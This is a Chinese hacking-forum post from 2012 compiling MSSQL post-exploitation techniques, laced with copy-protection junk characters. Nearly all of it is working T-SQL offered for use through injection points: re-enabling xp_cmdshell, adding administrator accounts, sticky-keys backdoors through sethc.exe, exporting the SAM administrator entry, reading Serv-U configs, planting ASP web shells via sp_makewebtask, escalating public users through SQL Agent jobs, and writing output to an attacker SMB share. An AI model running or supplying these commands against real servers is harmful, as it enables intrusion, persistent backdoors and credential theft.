找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号$ n  ]! q4 L* T
恢复方法:查询分离器连接后,* [  w( m! V( }$ j
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int " U4 a) }5 g: l# g: |* o
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% s% Z) \2 c' q1 s+ ]) `然后按F5键命令执行完毕2 H" V, ?9 ]2 z  Y- U0 M  g0 D

3 U* U0 [% G" {' v3 _2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)' o3 n2 R, P* s- b
恢复方法:查询分离器连接后,
' k! T8 Z' Z: {3 Q( q. z4 ~) v第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"4 L- v+ z4 B, c& J
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'4 j+ G9 ~& ?7 [- D' d% g" [
然后按F5键命令执行完毕
  q% ]4 ~2 W6 @4 d3 c% D) t" ?8 \/ U1 ^" I
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)7 n0 c9 f$ ]4 |- C& k
恢复方法:查询分离器连接后,
( p0 c+ ^2 ^% j$ y第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
( Y: K, R% H/ ?5 x' p第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
9 p5 l5 r  w* ]; p$ r然后按F5键命令执行完毕
. u4 w5 e+ T3 f3 t
; |1 U# Q/ x9 Q& ], H3 T  D4 终极方法.
: p1 E) K9 Y4 b6 M" O4 r如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
6 Z- G7 z6 o; @) m查询分离器连接后,
7 ?0 t; A. j$ d( @. ^: e* \& E5 s2000servser系统:4 i6 I& y  q% k* m0 B% w2 |) J4 e
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'8 I% _5 d) A% m- I1 z; K& h! }
- {% H7 K# l& K3 I9 {0 `* X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'; L# w- m6 |' e
$ y# [" D; N2 w6 s$ k
xp或2003server系统:2 m# E# r; M& N! X0 Z1 q* Z" a' A6 [

! x# E- S3 A7 Qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
* g7 Y" a; B9 d5 _5 s2 M7 m# \/ W6 k% q
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'" N& R4 G& u* c+ u
3 n$ I0 ]6 l' h+ ]3 i9 s. V  n* `
  u/ W4 K4 p3 Z1 z: r: @
五个SHIFT
3 O( D2 `, i# ^. ^( y3 y: Z8 jdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
, v5 g: z7 h* F2 @' ^: Q2 m# H6 }' K. N- L$ z
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
9 L9 r) Q2 t; V0 W
* e" A  o" z" T8 hxp_cmdshell执行命令另一种方法
+ |$ G2 j; d6 y" Gdeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
: h' q( z# m4 {* e; C% Y1 r( m" ]
* s) F  \- M# b$ I( ~! D# ]判断存储扩展是否存在- d0 x2 @- j/ g# N" j) G  |. l1 N
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
6 @% u  V5 ~2 G6 V- I! m) X返回结果为1就OK$ U$ j' S" Z9 W; s8 ~1 J% v
, [$ j+ s5 E# G+ g

/ L9 S& a+ r. j上传xplog70.dll恢复xp_cmdshell语句:
6 r4 a( ~1 E5 Hsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL') n$ T, Z* S9 }( a+ K! H
$ [2 x6 T, D$ V) F  |2 N! E3 v) a: |
否则上传xplog7.0.dll
1 i- _5 z$ g  R2 q7 I2 u) @Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'" A: o" ^/ Y/ `* E7 ?9 V
7 g- w! J( \/ D& @% H
( a; |( A+ X* s4 {( Z  j* e
! w; X, u# X8 m  b! p& J/ u
首先开启沙盘模式:3 e& T$ B/ Y. v  C; [, C8 c
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# y/ e$ e  _3 x* W4 C( S/ l! r
6 Z4 w' q, c' p( K7 ~然后利用jet.oledb执行系统命令) g2 \% `) y& t# e- b/ y5 W: ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')1 ^( w: l$ y' K7 ?& R7 I  M7 A- y/ Z
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
$ k- {: p6 k9 x
( D/ [1 t. d  M) u8 W. q; s
: G2 z% l( {; ]( [" a& \8 C1 e0 k- s$ S' j+ b) C
恢复过程sp_addextendedproc 如下: % a. Z/ A; w2 v9 m* L# g9 ^
create procedure sp_addextendedproc --- 1996/08/30 20:13
6 S4 s" o# L  U% f$ y@functname nvarchar(517),/* (owner.)name of function to call */ 5 E% X+ L% d7 o$ K: P
@dllname varchar(255)/* name of DLL containing function */
/ \8 L8 g% I) n+ m6 x" k1 w* x! Zas 8 \9 g# z, _) Y6 Z. k
set implicit_transactions off
# o6 v# `* |. D0 sif @@trancount > 0 , R3 ?% x/ K: z& v: I0 z( H& g
begin ) B! |$ Y; ~' B: u
raiserror(15002,-1,-1,'sp_addextendedproc')
3 K. o& b: P3 \' W5 [" oreturn (1)
+ f' F1 R3 W0 Q* x0 Fend 3 ?: p  B+ Q+ [( k! F
dbcc addextendedproc( @functname, @dllname)
( A# W3 D' s* i8 Dreturn (0) -- sp_addextendedproc
' O7 O& A7 U" F- p7 CGO 3 r8 r( a$ l8 n1 i- s6 G, m
# S6 A' N) T9 C, T3 @

; v2 G. f9 J1 b& z  X7 [, q, E
, ~- Y9 |) g; @0 g% h0 u9 d: V& k$ i导出管理员密码文件
. Y7 ]/ h0 w0 M/ k" l# Z: Ysa默认可以读sam键.应该。: f5 Y9 l7 v+ u' u& [2 K
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
% u1 p8 c+ E6 W( Mnet user administrator test
( D' x) B! W% g( t: i; _6 ]8 g4 H用administrator登陆.
. s: G% W, Z  ]  Q5 S用完机器后! P% w  e2 l/ k# r# g4 F
reg import c:\test.reg
2 J# `. w9 T  d0 a! w! Q+ R. ~根本不用克隆.0 |, |0 y) E- L
找到对应的sid.
4 q, Z3 z; [: i) ~( c4 I; _) z& W' b. ]0 m! j2 H

* ^1 Y6 ~- C3 W/ E# f8 g0 j' H5 ~: Q" z
恢复所有存储过程# U. i9 u7 r+ i) v; A6 Z
use master
% U! C1 L7 e$ {# Cexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
6 ~) E  W0 i! x5 l& p1 Dexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
' D* N$ i) i/ k+ T4 H: jexec sp_addextendedproc xp_loginconfig,'xplog70.dll' / c. A, I$ u# x4 ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'   t9 N, E( q% D* {* S; B% z. C
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
+ o  E! s, b6 P- S' {exec sp_addextendedproc sp_OACreate,'odsole70.dll' . G* b# [4 U7 G; G7 D1 g, t5 v
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' % c8 t- s1 F9 O# l
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
* h  l' m8 A) i/ F# bexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
6 s/ ^/ Z( z/ l  b6 K. j+ \, k) Yexec sp_addextendedproc sp_OAMethod,'odsole70.dll' ' ]$ |# l& U& x4 V) ]3 A) ~
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
0 G9 s0 m5 s5 k9 x5 zexec sp_addextendedproc sp_OAStop,'odsole70.dll'
* p" _7 U: P5 K0 y2 V* p, _exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
2 z" P8 w3 i! d- J( H* Wexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
6 {+ {) u" n4 G' Q+ ~  fexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 2 |! R1 D; c  K: o' ^9 l7 f
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 5 T9 u+ W0 W- {/ T. G
exec sp_addextendedproc xp_regread,'xpstar.dll'
8 A- Y5 a5 E* Q5 zexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
: o: A% H" l3 q# }' `exec sp_addextendedproc xp_regwrite,'xpstar.dll' ( i( J7 l* k: b; e9 u
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'; K6 Z4 F" R2 c4 J! A
) j' V8 m. M* x- M. M) o

: L) c2 p& S" ]1 J" i建立读文件的存储过程
/ K) e) e( V2 ACreate proc sp_readTextFile @filename sysname
/ K1 k* B2 g7 h( I9 aas3 ^4 k, g# Q! {$ ~, J! N

' O+ _: m. ]9 s$ {: `    begin
: {! v5 U1 f! o. j% O. Q$ Z4 W0 A    set nocount on : Z7 L, [" j% W& \! f6 S* j
    Create table #tempfile (line varchar(8000))
2 n9 j; [' z9 l0 _* M# e    exec ('bulk insert #tempfile from "' + @filename + '"')
3 S! x2 Y, }3 G, h+ D/ N" H    select * from #tempfile$ N* ?+ K7 z" F; W9 O+ e
    drop table #tempfile) H) G1 m- v+ U3 F
End
* u: n! `6 l$ @8 D+ z0 I* p! B: X2 [6 d; n5 N6 d+ d' i# j* H' Z
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件- P; Y% G6 T" X: ^! l; }
查看登录用户
. ?) _9 t/ ?2 `( C# |  n- P& _Select * from sysxlogins
: G. B9 H2 [0 P1 t* K9 v0 i: k
, C/ g( m9 J% l1 E6 ~9 Q$ {把文件内容读取到表中
' C: _: W9 S3 VBULK INSERT tmp from "c:\test.txt"' v4 `8 M" F5 o
dElete from 表名 清理表里的内容6 y+ ]' P: `; w# S* M
create table b_test(fn nvarchar(4000));建一个表,字段为fn, Q7 M6 L, z+ R1 u# }$ `& |' e

$ y1 Y. b- r1 p% k- |5 ]/ W$ H+ r3 X3 T9 m% H1 ?3 s
加sa用户# Q# Y! f* s4 W& v& n/ G* ]4 N
exec master.dbo.sp_addlogin user,pass;
( K$ p8 l1 F, N- L: R8 L( hexec master.dbo.sp_addsrvrolemember user,sysadmin- c; A8 J- h1 P

! |0 q. y$ a6 [3 t' g
1 Z' H9 l9 J- `& k0 t+ j8 w4 e7 Q3 `; }. @- z
读文件代码
5 M2 X, t/ `; h3 J7 L* zdeclare @o int, @f int, @t int, @ret int
2 l7 S. Z- a0 zdeclare @line varchar(8000)
* P9 f- Q  C, C1 \" F9 ^" sexec sp_oacreate 'scripting.filesystemobject', @o out5 H  W, ~% V$ q1 V
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
) n* l- d; Z0 P/ @# Yexec @ret = sp_oamethod @f, 'readline', @line out- G# N- M3 y0 m- k  Q% r( O. ?
while( @ret = 0 )2 k- m3 [! G4 l& ~
begin
0 I; S9 ^+ Q6 m3 W0 x8 Jprint @line5 Q: Y  \; J+ K' `8 A, b. Y
exec @ret = sp_oamethod @f, 'readline', @line out
% E, z2 R; l1 ^( ^" Bend- i) V* c+ ?  q0 G3 V' m) X

5 [$ S" Y# C" Z4 a8 v; g! k
; l, \* a8 `: x9 p* p: |& j& a) e写文件代码:# o7 G/ v. [, F
declare @o int, @f int, @t int, @ret int9 u: n5 B2 h  B1 u, e8 K4 \, Y
exec sp_oacreate 'scripting.filesystemobject', @o out
7 ^9 ]8 y5 x2 ^9 P9 C% i$ oexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1" G- J0 @+ t6 X2 b$ S/ l
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》6 J2 Q8 a# ]# }* Y9 v. x: g
/ K) Z: E; g/ I5 O  R
8 V) n/ A/ y3 Y- {  P
添加lake2 shell7 x5 Z5 C  h+ k; z- t3 Y6 X- ?4 R
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll', i$ t0 T% m- R
sp_dropextendedproc xp_lake2" Z+ Z& L: K/ x- B$ f2 `; ^
EXEC xp_lake2 'net user'' P3 @3 J1 R. D& J3 b) W  a
) m' V; K( m3 P

6 ~$ c) j. p( I6 P: ]2 v得到硬盘文件信息 - T* B% s* O, E6 i' ?/ t8 X$ t
--参数说明:目录名,目录深度,是否显示文件
: H, \$ J( f: [- L1 ?- Yexecute master..xp_dirtree 'c:'
" V3 w8 [$ H  x/ ^7 Rexecute master..xp_dirtree 'c:',1
* h  T" m5 z3 d# q( Sexecute master..xp_dirtree 'c:',1,1
' @! n# X1 M& @4 p; d( M6 Y- S3 s5 E

% U. g* F- S$ h读serv-u配置信息! h8 @% M7 j5 r6 }! @0 Y; \
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'% I7 H$ ^: e0 b: @4 Y
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'0 x% W" o! {4 `# h. g- f
0 O8 S5 X5 l: j( l* M/ `8 Q$ Y  y
通过xp_regwrite写SHIFT后门1 ?3 T7 y, B0 S0 ?; Q. W
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--$ Z( I  k3 t: T3 T6 a# ^* l
0 p7 K+ y+ j; _& @$ r6 [
3 u/ J3 R9 }! T# G. T2 h/ h$ j2 K

2 R" t, ?# }5 E" C0 h; j4 y. Z3 @找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';9 j! N% k9 g4 k9 f8 f$ i& \
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了: _0 x* d) U$ }/ _& @- }5 F
# X# d2 n  P- G6 D( q
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
/ l4 ~* ], }, Q; Z5 u* h: v0 ?. R2 w  F
8 Q9 m5 V' L' _9 z
8 }4 L" v4 x! p9 g# W8 c; q) i
sql server 2005下开启xp_cmdshell的办法
* Y6 k  ?3 Q) x( L! h& @
4 T4 ?' k1 N0 dEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
6 |$ f% Q& ]( D, }+ P, r; @4 v- a7 l% V( q& B7 @' F7 R+ \1 B* c
SQL2005开启'OPENROWSET'支持的方法:
' H3 s9 Z- C2 l# [/ P& X- \3 P, G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;) K0 F4 O. {1 ^. ^! c
8 Y  a( a* [  }: U  j
SQL2005开启'sp_oacreate'支持的方法:
; x+ m9 {# [8 S+ r# E2 R5 Q* j3 A
: w0 M3 d& Q- H! i2 q7 w0 [exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
% R) B% V1 c2 u, V. v+ f
/ n& p9 Z7 u$ G2 [; @7 g) [0 [2 t
, g0 l0 `- J2 p3 {  R3 d; ?- T5 V! R9 P9 j/ }
+ u2 L6 e+ m! U, E# M6 U2 t& l
6 s' i; W5 K5 e$ o
  K; @* x& l; k1 y& R" B

0 h) Q; G# P" B6 T( o( T% Z$ a5 C

# d. j, z7 m) O2 ]6 V0 S" l; A6 E! h2 D3 f0 l, D" r
4 Y4 f" k9 ]4 U' [% z- i

+ V0 S1 Y, M+ R- r, e  p" y7 h2 M8 I% M( s5 _5 e

$ _! A9 ]; Y: M& U6 _1 |% m* j. D7 q8 T0 G% w

" y( }" Z# p2 n; O* n! \
- g2 u, k! t( i1 F+ f) g+ v/ \) a6 T( v5 @: _5 v# b

; A; p& H0 a; ]4 Z9 u1 c7 K$ b# ^& `) Y! _, i9 C. [
4 K+ n& K+ y) @2 v! v
# W6 ]4 O! D  ~. k" ^
3 B' V3 l7 O$ }. s9 ~5 Z
4 \; C! b1 ?  f6 I
以下方面不知道能不能成功暂且留下研究哈:- }; _/ A- w/ z
4)2 I4 R- ^( W" e, m5 C2 v: R3 N4 e
use msdb; --这儿不要是master哟+ p8 s( t, v0 m8 J/ j' `  L6 }" U
exec sp_add_job @job_name= czy82 ;0 X# F1 m4 Q* ~: N) {5 x( Z# U
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
. G' [: r% L# W; Uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;) O) g7 {; R, V. ~
exec sp_start_job @job_name= czy82 ;
7 u4 x9 e6 t" |, G! u+ Q& e) Y9 e/ s4 {  x9 v$ \/ O" @
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
/ T' G. A& X( \% \: Q- |执行tsql语句了.$ e2 @: I, n5 h+ v* C
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
6 Q5 [' X5 e% y第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
! z: \6 {  ]* E5 u3 N# c1 _net start SQLSERVERAGENT" j# k4 B; X* a" [$ w) F

2 L( A$ H5 K7 o6 [$ o对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的" i' Y, J3 K* b$ ]- c
USE msdb8 _5 |. D7 g6 D+ _* h
EXEC sp_add_job @job_name = GetSystemOnSQL ,
) f7 j- u/ P% Y2 u7 z@enabled = 1,- e5 U% a- W$ t! w( e& v6 `
@description = This will give a low privileged user access to
& }8 g5 ?7 @$ i/ f, Txp_cmdshell ,( A* T' }8 B2 a
@delete_level = 17 K4 n; B3 I& N, |0 f: {1 @
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,. C; @: I+ d" F5 K, @# N) V- z
@step_name = Exec my sql ,
) j* C- J( ]8 h@subsystem = TSQL ,8 w. d8 P9 ]* |( n4 v( K, J& K0 ?
@command = exec master..xp_execresultset N select exec# v/ ~7 V3 u. i+ F9 @0 r+ Y# q
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 9 N4 U4 z" q# F+ M0 s3 ?9 A$ h
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
  p6 K- ~& Y/ o9 x6 W7 ~@server_name = 你的SQL的服务器名 & l1 {. i( q' L- g- X5 r/ Z3 s
EXEC sp_start_job @job_name = GetSystemOnSQL
3 ^1 x: m3 \& U" D" _3 f8 {8 K2 f/ ?; G* r* E  I
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以; A0 d6 [/ f' J: N: m
才让我们可以以public执行xp_cmdshell
, r, ^' [; _! I! S
3 V- w9 p; S$ ~: w# P5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)+ A! K  r: U: G1 d+ T& D1 w  o" r
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968  H! j& O  _# c* L2 M7 u4 J
2 ~2 `$ ?5 V6 P, N: l
USE msdb
8 ^9 K% v% `$ UEXEC sp_add_job @job_name = ArbitraryFilecreate ,+ P+ R' {: l: e  {
@enabled = 1,* R! L7 F0 F5 F) V& N0 a3 j) h
@description = This will create a file called c:\sqlafc123.txt ,
6 k: D6 j, r# f4 m@delete_level = 1
# ?, P6 `& |. fEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
9 W5 ]+ J: u" ~9 [1 t; ~; F/ Z@step_name = SQLAFC ,0 t! x6 y, i( ]7 U, l# v4 Z$ g, t
@subsystem = TSQL ,4 ^2 m- a" R$ ^* m9 w4 H8 F
@command = select hello, this file was created by the SQL Agent. ,
8 p  ~$ h6 H+ S& X' q6 _@output_file_name = c:\sqlafc123.txt # o" u5 T: ?9 c: N9 y6 k0 {
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
  H3 Q/ F1 T4 V@server_name = SERVER_NAME
% G2 ~6 W% X" N& M. S. yEXEC sp_start_job @job_name = ArbitraryFilecreate
% L+ U( @" _2 p% D" i4 m- Z1 q+ X+ |
如果subsystem选的是:tsql,在生成的文件的头部有如下内容: g! f& F# E) a" j2 C
& S2 [( m) Z! ~5 `7 [6 ^
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
7 Q5 K/ ~7 a4 o  |0 v  z----------------------------------------------
8 M7 V7 V- w+ O- Z- \hello, this file was created by the SQL Agent.
' x% E5 W; a, ?2 ?$ Q0 l. `, C* W& Y+ ~- q! n
(1 ?????)  ^' ?' \8 f/ _: b. u2 ]

2 x+ M' D/ L8 W6 J* X所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员" {4 B- a& C. E# K
命令的vbs文件到启动目录!2 J8 \. J8 Q! X, M7 \
% d  n; ~$ t0 C0 E" N. X
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)9 |  Q9 C( u+ C$ |0 z* D
关于sp_MScopyscriptfile 看下面的例子8 A! a+ w% z. l- [5 T, s! }* Y
declare @command varchar(100)
; |1 }1 [$ h/ d7 j& j, }declare @scripfile varchar(200) - S  I3 B& t7 W& ^/ \+ |
set concat_null_yields_null off 9 r* N. c! R; @* M4 Q8 Q
select @command= dir c:\ > "\\attackerip\share\dir.txt" 1 H5 a- d$ |9 A4 r
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
6 A* U5 R$ z+ T/ M' Wexec sp_MScopyscriptfile @scripfile ,
% Q; Y3 e1 c8 X5 O# D9 t4 n1 c  @" k( \; d' r9 j
这两个东东都还在测试试哟
) ?) U/ e9 x) _, }, A让MSSQL的public用户得到一个本机的web shell$ X0 j: V; Q0 k( Q  D7 Z3 e
7 t3 P  X0 ^, X1 t/ w
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
& h9 n) w) y2 \; D' e" ?--@query= select <img src=vbscript:msgbox(now())>
! j$ Q- r7 s- Y5 o. a--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
; ~) y9 A& h7 h$ U0 g% g3 q' z5 K. G@query= select
/ @4 {  r( W. U3 e/ F& [4 ^% h3 z<%On Error Resume Next
2 |1 B1 I6 ]# l9 _  S" E; \: YSet oscript = Server.createObject("wscript.SHELL") * T" k0 Q# j& Y
Set oscriptNet = Server.createObject("wscript.NETWORK")
; c; C6 e8 g+ oSet oFileSys = Server.createObject("scripting.FileSystemObject")
* \$ F3 q" d( w8 k, f& s( CszCMD = Request.Form(".CMD")
' f3 g- I- V9 k2 ^) p0 S  lIf (szCMD <>"")Then / H( [3 w  ?8 Q, L, m7 G, @; c
szTempFile = "C:\" & oFileSys.GetTempName() 8 |9 U6 Q6 W  b2 U# O3 j' y
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) # t- k+ k2 G2 y, n2 P! m: E
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
2 [' l7 H, z# ^$ J3 `End If %>
8 M1 m! q% r  ^( @' o<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> : N7 N4 f/ f5 U) F' N8 \. z
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> # A% j- _; W: g& o2 l- O) {1 ]7 L
</FORM><RE> 1 W0 _. k6 ?1 ~/ _% h6 {
<% If (IsObject(oFile))Then
8 p8 d9 V/ f3 s6 V; Z* O) SOn Error Resume Next $ N8 L/ B! b/ a' Z$ X
Response.Write Server.HTMLEncode(oFile.ReadAll)
4 q7 q; Q& O5 O. B* ^" w+ o: joFile.Close * r: q- u( C$ Z, E" g8 u! r
Call oFileSys.deleteFile(szTempFile, True) ; t3 _( V, O% x* E& `1 V
End If%>
, W# V& R0 X. N3 G1 p2 W9 s</BODY></HTML>
5 p, _( ^2 C- W$ v" P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表